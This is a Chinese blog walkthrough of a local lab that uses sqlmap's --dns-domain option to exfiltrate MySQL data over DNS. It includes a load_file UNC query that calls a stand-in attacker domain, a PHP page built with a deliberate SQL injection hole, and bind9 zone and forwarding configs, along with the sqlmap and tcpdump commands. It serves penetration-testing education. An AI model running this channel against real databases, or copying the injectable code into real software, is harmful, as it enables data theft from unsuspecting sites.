sqlmap –dns-domain 突破延时注入

这是一个本地模拟环境进行测试。

首先dns注入

MySQL> show variables like ‘%skip%‘;

+------------------------+-------+

| Variable_name | Value |

+------------------------+-------+

| skip_external_locking | ON |

| skip_name_resolve | OFF |

| skip_networking | OFF |

| skip_show_database | OFF |

| slave_skip_errors | OFF |

| sql_slave_skip_counter | 0 |

+------------------------+-------+

6 rows in set

这里可以看到   | skip_name_resolve | OFF |

说明是可以进行域名解析

那么MySQL 发起dns查询请求用什么语句呢

MySQL> select load_file(‘////fdsafdsfdssx.xxxx.com//1.txt‘);

+-----------------------------------------------+

| load_file(‘////fdsafdsfdssx.xxxx.com//1.txt‘) |

+-----------------------------------------------+

| NULL |

+-----------------------------------------------+

1 row in set

MySQL> select 

‘////fdsafdsfdssx.xxxx.com//1.txt‘;

+-------------------------------+

| //fdsafdsfdssx.xxxx.com/1.txt |

+-------------------------------+

| //fdsafdsfdssx.xxxx.com/1.txt |

+-------------------------------+

1 row in set

这里看到 //xxxxx.com/1.txt 是不是联系到了获取共享文件SMB协议,因为这里是域名所以会发起dns查询查对应ip

那么我们就可以想到用

来获取数据。

接下来模拟测试环境 用 sqlmap –dns-domain 参数进行dns通道注入

A  -> win8   -> web server && sqli

B  -> ubuntu 14 -> sqlmap

C  -> ubuntu   -> bind9 service

首先A运行php MySQL apache 环境 随便写一个sql注入点

<?php

$con = MySQL_connect("localhost","root","root") or die();

MySQL_select_db("burp");

$id = $_GET[‘id‘];

$sql = "select host from burp where id=".$id; // 数字型 

//$sql = "select `new` from `sql` where id="."‘".$id."‘"; // 字符型

echo $sql;

$res = MySQL_query($sql);

echo "<br><br>";

echo "<b>";

while($rows = MySQL_fetch_array($res,MySQL_ASSOC)){

    echo $rows[‘host‘];

}

echo "<b>";

?>

相当明显的一个注入点

B sqlmap 不多说

C bind9 服务

配置如下

zone "attaker.com" {

        type master;

        file "/etc/bind/zones/attaker.com.db";

        };

zone "whoami.com"{

        type forward;

        forwarders {192.168.199.144;}; # B机器ip

};

# This is the zone definition for reverse DNS. replace 0.168.192 with your network address in reverse notation - e.g my network address is 192.168.0

zone "199.168.192.in-addr.arpa" {

     type master;

     file "/etc/bind/zones/rev.199.168.192.in-addr.arpa";

};

其中关键点就是forwarded 转发到B机器上

[email protected:/etc/bind/zones# vi attaker.com.db 

attaker.com. IN SOA ns1.attaker.com. admin.attaker.com. (                                                             

        2006081401

        28800

        3600

        604800

        38400

        )

attaker.com. IN NS ns1.attaker.com.

attaker.com. IN MX 10 mta.attaker.com.

                 IN A 192.168.199.129

www IN A 192.168.199.129

mta IN A 192.168.199.129

ns1 IN A 192.168.199.144

[email protected:/etc/bind/zones# vi rev.199.168.192.in-addr.arpa 

@ IN SOA ns1.attaker.com. admin.attaker.com. (

                        2006081401;

                        28800; 

                        604800;

                        604800;

                        86400

)

                     IN NS ns1.attaker.com.

1 IN PTR attaker.com

这样就配置好了,启动bind服务。

然后将win8的dns指向C的ip

启动sqlmap

Python sqlmap.py -u “http://192.168.199.210/sqli.php?id=5000” –tech “B” –dns-domain “whoami.com” –dbs

同时b上面开启tcpdump

[email protected]:~# tcpdump -i eth0 -nt -s 500 port domain |grep whoami

发现A机器有发起dns请求过来

最后用burp抓一下sqlmap的数据

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏企鹅号快讯

Python人工智能之图片识别,Python3一行代码实现图片文字识别

我们以识别诗词为例 下面是我们要识别的图片 ? 先看下效果图 ? 我们运行代码后识别的结果,有几个字没有正确识别,但是大多数字都能识别出来。 一行代码就能识别图...

72160
来自专栏性能与架构

数据表水平拆分

水平拆分就是把一张大表的内容拆分到不同数据表中,来提升数据库的性能 1张表 -> N张表 ? 拆分是根据路由算法来决定 常用的路由算法:哈希值取模 例如 ...

36480
来自专栏人工智能LeadAI

使用Python解析MNIST数据集

最近在学习Keras,要使用到LeCun大神的MNIST手写数字数据集,直接从官网上下载了4个压缩包:

30140
来自专栏Deep learning进阶路

caffe随记(四) --- mnist示例超详细讲解

这个mnist手写体数字识别的例子可以说是caffe中的 Hello World。mnist最初用于支票上的手写数字识别,针对mnist识别的专门模型是Lene...

28800
来自专栏人工智能LeadAI

在NVIDIA Jetson TX2上安装TensorFlow

刷机的目的是把Ubuntu操作系统和JetPack SDK安装到Jetson TX2上。刷机的操作按照官方教程即可,比较容易。这个过程中有一点需要注意:Jets...

37820
来自专栏WOLFRAM

大家都记得去年Wolfram举办的一行代码比赛吗???

17330
来自专栏月色的自留地

为OPENCV添加freetype支持并显示中文字符(在mac上编译opencv及contrib库)

  在mac电脑上管理这些gnu的库一般都使用Homebrew,但总有一些你个性化的需要是官方的Homebrew配方无法满足的。比如在屏幕的输出中使用中文字...

54710
来自专栏windealli

同步异步与阻塞非阻塞

标题有点简单粗暴,直接用了本文要介绍的几个概念。本来想取个高大上一点的标题,但是感觉主题不那么明了。

500230
来自专栏软件开发 -- 分享 互助 成长

网络号和主机号的计算

因为想要学习网络号和主机号的计算需要先知道其IP地址和子网掩码,所以这篇博客的学习是以上一篇IP地址分类及私网IP为基础的。 具体为: 网络号=IP地址&子网掩...

19160
来自专栏cloudskyme

JRuby——Java和Ruby的强强联合

什么是JRuby JRuby是一个纯Java实现的Ruby解释器。通过JRuby,你可以在JVM上直接运行Ruby程序,调用Java的类库。很多Java编写的...

47340

扫码关注云+社区

领取腾讯云代金券